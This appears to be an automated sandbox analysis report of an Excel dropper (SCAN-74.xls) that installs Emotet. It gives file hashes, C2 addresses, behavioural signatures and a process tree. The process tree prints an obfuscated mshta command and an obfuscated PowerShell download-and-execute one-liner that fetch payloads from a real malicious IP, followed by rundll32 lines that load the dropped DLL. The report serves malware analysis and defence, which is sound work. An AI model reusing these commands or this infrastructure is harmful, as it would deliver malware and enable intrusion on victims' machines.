Analysis

  • max time kernel
    120s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 00:48

General

  • Target

    SCAN-74.xls

  • Size

    35KB

  • MD5

    c3c19d227a528abe26dc59f5109997b7

  • SHA1

    c26a2757790ad66b73538b8fd2bf08b1855a31e7

  • SHA256

    70a49284d261452b35907b59ad86f74aad575f751a510320d0aa3464e0cc5ce6

  • SHA512

    8453550fa8218a7036535bf0a63b5c67697b5c00059f90e16da722405b075af6d82945546d2bdfa6f42c304b04e19151371d1beee61c68d712323e26c0fa9818

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SCAN-74.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2524
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3600
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3168
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4020
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1728
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1656
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2868
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pikqrcegsbckj\tpsivpoelbmo.ulg",fsBAlzAZx
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2596
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Pikqrcegsbckj\tpsivpoelbmo.ulg",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3604
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3168 -s 2324
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2100

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    d7653fa9b638f6d41d1f76ed3025a875

    SHA1

    f6207008ab3abf05e7b99d5c43d39abd4823fa35

    SHA256

    1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

    SHA512

    393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

  • \ProgramData\QWER.dll
    MD5

    d7653fa9b638f6d41d1f76ed3025a875

    SHA1

    f6207008ab3abf05e7b99d5c43d39abd4823fa35

    SHA256

    1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

    SHA512

    393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

  • \ProgramData\QWER.dll
    MD5

    d7653fa9b638f6d41d1f76ed3025a875

    SHA1

    f6207008ab3abf05e7b99d5c43d39abd4823fa35

    SHA256

    1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

    SHA512

    393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

  • memory/1656-332-0x0000000004F80000-0x0000000004FA7000-memory.dmp
    Filesize

    156KB

  • memory/2524-391-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-128-0x00007FF937180000-0x00007FF937190000-memory.dmp
    Filesize

    64KB

  • memory/2524-129-0x00007FF937180000-0x00007FF937190000-memory.dmp
    Filesize

    64KB

  • memory/2524-392-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-119-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-390-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-389-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-115-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-118-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-117-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2524-116-0x00007FF93ACF0000-0x00007FF93AD00000-memory.dmp
    Filesize

    64KB

  • memory/2596-346-0x0000000002C40000-0x0000000002C67000-memory.dmp
    Filesize

    156KB

  • memory/2868-343-0x0000000004C50000-0x0000000004C77000-memory.dmp
    Filesize

    156KB

  • memory/2868-349-0x0000000004E60000-0x0000000004E87000-memory.dmp
    Filesize

    156KB

  • memory/2868-337-0x0000000004A30000-0x0000000004A57000-memory.dmp
    Filesize

    156KB

  • memory/2868-339-0x0000000004B10000-0x0000000004B37000-memory.dmp
    Filesize

    156KB

  • memory/2868-341-0x0000000004BF0000-0x0000000004C17000-memory.dmp
    Filesize

    156KB

  • memory/2868-335-0x0000000004530000-0x0000000004557000-memory.dmp
    Filesize

    156KB

  • memory/2868-345-0x0000000004CB0000-0x0000000004CD7000-memory.dmp
    Filesize

    156KB

  • memory/3604-350-0x0000000003250000-0x0000000003277000-memory.dmp
    Filesize

    156KB

  • memory/4020-322-0x000002515CD00000-0x000002515CE50000-memory.dmp
    Filesize

    1.3MB

  • memory/4020-309-0x0000025175710000-0x0000025175786000-memory.dmp
    Filesize

    472KB

  • memory/4020-298-0x0000025175200000-0x000002517523C000-memory.dmp
    Filesize

    240KB

  • memory/4020-285-0x000002515CD00000-0x000002515CE50000-memory.dmp
    Filesize

    1.3MB

  • memory/4020-284-0x000002515CD00000-0x000002515CE50000-memory.dmp
    Filesize

    1.3MB

  • memory/4020-277-0x000002515CDE0000-0x000002515CE02000-memory.dmp
    Filesize

    136KB